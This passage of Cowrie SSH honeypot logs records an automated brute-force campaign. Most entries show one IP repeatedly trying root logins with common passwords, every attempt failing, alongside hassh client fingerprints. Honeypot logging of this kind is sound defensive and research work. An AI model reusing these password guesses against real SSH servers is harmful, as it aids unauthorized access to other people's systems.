","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:12.934054Z","src_ip":"60.165.124.241","session":"bac590bae5d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed!@#","message":"login attempt [root/1qa2ws3ed!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:13.681705Z","src_ip":"60.165.124.241","session":"bac590bae5d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:14.930269Z","src_ip":"60.165.124.241","session":"bac590bae5d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54286,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5db496b2b1","protocol":"ssh","message":"New connection: 60.165.124.241:54286 (10.17.0.5:22) [session: da5db496b2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:15.175741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:15.180736Z","src_ip":"60.165.124.241","session":"da5db496b2b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:15.432730Z","src_ip":"60.165.124.241","session":"da5db496b2b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123zxc123","message":"login attempt [root/zxc123zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:16.154740Z","src_ip":"60.165.124.241","session":"da5db496b2b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52384,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c4fd18d9cd","protocol":"ssh","message":"New connection: 194.59.206.2:52384 (159.203.135.109:22) [session: 23c4fd18d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.381307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.386344Z","src_ip":"194.59.206.2","session":"23c4fd18d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.396731Z","src_ip":"60.165.124.241","session":"da5db496b2b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.477310Z","src_ip":"194.59.206.2","session":"23c4fd18d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.572061Z","src_ip":"194.59.206.2","session":"23c4fd18d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57206,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6b7b7edb90","protocol":"ssh","message":"New connection: 60.165.124.241:57206 (10.17.0.5:22) [session: ce6b7b7edb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.635585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.640882Z","src_ip":"60.165.124.241","session":"ce6b7b7edb90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:17.885765Z","src_ip":"60.165.124.241","session":"ce6b7b7edb90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234","message":"login attempt [root/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:18.611763Z","src_ip":"60.165.124.241","session":"ce6b7b7edb90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:19.855713Z","src_ip":"60.165.124.241","session":"ce6b7b7edb90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60354,"dst_ip":"10.17.0.5","dst_port":22,"session":"c21f81ac991f","protocol":"ssh","message":"New connection: 60.165.124.241:60354 (10.17.0.5:22) [session: c21f81ac991f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:20.082755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:20.089069Z","src_ip":"60.165.124.241","session":"c21f81ac991f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:20.328899Z","src_ip":"60.165.124.241","session":"c21f81ac991f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reboot","message":"login attempt [root/reboot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:21.039476Z","src_ip":"60.165.124.241","session":"c21f81ac991f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:22.277687Z","src_ip":"60.165.124.241","session":"c21f81ac991f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35070,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24a64616611","protocol":"ssh","message":"New connection: 60.165.124.241:35070 (10.17.0.5:22) [session: a24a64616611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:22.515522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:22.519852Z","src_ip":"60.165.124.241","session":"a24a64616611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:22.757725Z","src_ip":"60.165.124.241","session":"a24a64616611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert!","message":"login attempt [root/12345qwert!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:23.481572Z","src_ip":"60.165.124.241","session":"a24a64616611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:24.722995Z","src_ip":"60.165.124.241","session":"a24a64616611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37980,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d854983505a","protocol":"ssh","message":"New connection: 60.165.124.241:37980 (10.17.0.5:22) [session: 5d854983505a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:24.951586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:24.960292Z","src_ip":"60.165.124.241","session":"5d854983505a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:25.195452Z","src_ip":"60.165.124.241","session":"5d854983505a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz1234567890","message":"login attempt [root/Zz1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:25.907340Z","src_ip":"60.165.124.241","session":"5d854983505a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:27.145762Z","src_ip":"60.165.124.241","session":"5d854983505a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40720,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f9a9f567a8","protocol":"ssh","message":"New connection: 60.165.124.241:40720 (10.17.0.5:22) [session: 88f9a9f567a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:27.382519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:27.388534Z","src_ip":"60.165.124.241","session":"88f9a9f567a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:27.625321Z","src_ip":"60.165.124.241","session":"88f9a9f567a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aq123123","message":"login attempt [root/Aq123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:28.339856Z","src_ip":"60.165.124.241","session":"88f9a9f567a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:29.579144Z","src_ip":"60.165.124.241","session":"88f9a9f567a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43564,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8cbe98461ef","protocol":"ssh","message":"New connection: 60.165.124.241:43564 (10.17.0.5:22) [session: a8cbe98461ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:29.812071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:29.820498Z","src_ip":"60.165.124.241","session":"a8cbe98461ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:30.057261Z","src_ip":"60.165.124.241","session":"a8cbe98461ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bbbbbbbbbb","message":"login attempt [root/bbbbbbbbbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:30.776619Z","src_ip":"60.165.124.241","session":"a8cbe98461ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:32.017210Z","src_ip":"60.165.124.241","session":"a8cbe98461ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46756,"dst_ip":"10.17.0.5","dst_port":22,"session":"acbbb66cb889","protocol":"ssh","message":"New connection: 60.165.124.241:46756 (10.17.0.5:22) [session: acbbb66cb889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:32.266749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:32.271462Z","src_ip":"60.165.124.241","session":"acbbb66cb889","protocol":"ssh"}
